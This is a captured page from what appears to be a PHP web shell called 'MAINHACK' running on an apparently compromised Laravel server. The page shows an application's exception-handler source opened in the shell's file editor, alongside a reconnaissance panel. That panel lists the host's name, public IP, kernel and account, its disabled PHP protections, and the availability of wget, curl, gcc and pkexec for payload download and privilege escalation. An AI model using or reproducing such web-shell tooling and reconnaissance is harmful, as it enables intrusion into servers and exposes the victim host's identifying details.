[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Handler.php
<?php namespace App\Exceptions; use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler; use Throwable; class Handler extends ExceptionHandler { /** * A list of the exception types that are not reported. * * @var array */ protected $dontReport = [ // ]; /** * A list of the inputs that are never flashed for validation exceptions. * * @var array */ protected $dontFlash = [ 'password', 'password_confirmation', ]; /** * Report or log an exception. * * @param \Throwable $exception * @return void * * @throws \Exception */ public function report(Throwable $exception) { parent::report($exception); } /** * Render an exception into an HTTP response. * * @param \Illuminate\Http\Request $request * @param \Throwable $exception * @return \Symfony\Component\HttpFoundation\Response * * @throws \Throwable */ /** * Render an exception into an HTTP response. * [NEXTLOOP] modified render method * * @param \Illuminate\Http\Request $request * @param \Exception $exception * @return \Illuminate\Http\Response */ public function render($request, Throwable $exception) { //generic response $response = __('lang.error_request_could_not_be_completed'); /** * [SERVER, SYNTAX, LARAVEL EXCEPTIONS] * Handle 500 server errors & other critical laravel errors * */ if ($exception instanceof \Symfony\Component\Debug\Exception\FatalErrorException || $exception instanceof \Symfony\Component\Debug\Exception\FatalThrowableError || $exception instanceof ReflectionException || $exception instanceof ModelNotFoundException || $exception instanceof ErrorException ) { if (app()->environment() == 'production') { if ($request->ajax()) { $jsondata['notification'] = array('type' => 'error', 'value' => __('lang.application_error')); return response()->json($jsondata, 500); } else { return response()->view('errors.500'); } } return parent::render($request, $exception); } /** * //nextloop exception handling * [DEVELOPER GENERATED HTTP EXCEPTIONS] * Handle ajax error messages by displaying a friendly popup notice * Server errorswill be handled as per check above */ if ($exception instanceof \Symfony\Component\HttpKernel\Exception\HttpException) { //permission denied errors switch ($exception->getStatusCode()) { //permission denied case 403: $response = ($exception->getMessage() != '') ? $exception->getMessage() : __('lang.error_no_permission_for_resource'); $view = 'errors.403'; break; //larevel session timeout case 419: $response = ($exception->getMessage() != '') ? $exception->getMessage() : __('lang.error_session_timeout'); $view = 'errors.419'; break; //not found case 404: $response = ($exception->getMessage() != '') ? $exception->getMessage() : __('lang.error_not_found'); $view = 'errors.404'; break; //business logic/generic errors case 409: $response = ($exception->getMessage() != '') ? $exception->getMessage() : __('lang.error_request_could_not_be_completed'); $view = 'errors.409'; break; default: $response = __('lang.error_request_could_not_be_completed'); $view = 'errors.409'; break; } //AJAX RESPONSE if ($request->ajax()) { //ajax reponse for a notice popup $jsondata['notification'] = [ 'type' => 'error', 'value' => $response, ]; //return response - with error code return response()->json($jsondata, $exception->getStatusCode()); } //HTTP REPONSE $error = array('message' => $response); return response()->view($view, compact('error')); } //[DEVELOPMENT] - debug output return parent::render($request, $exception); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002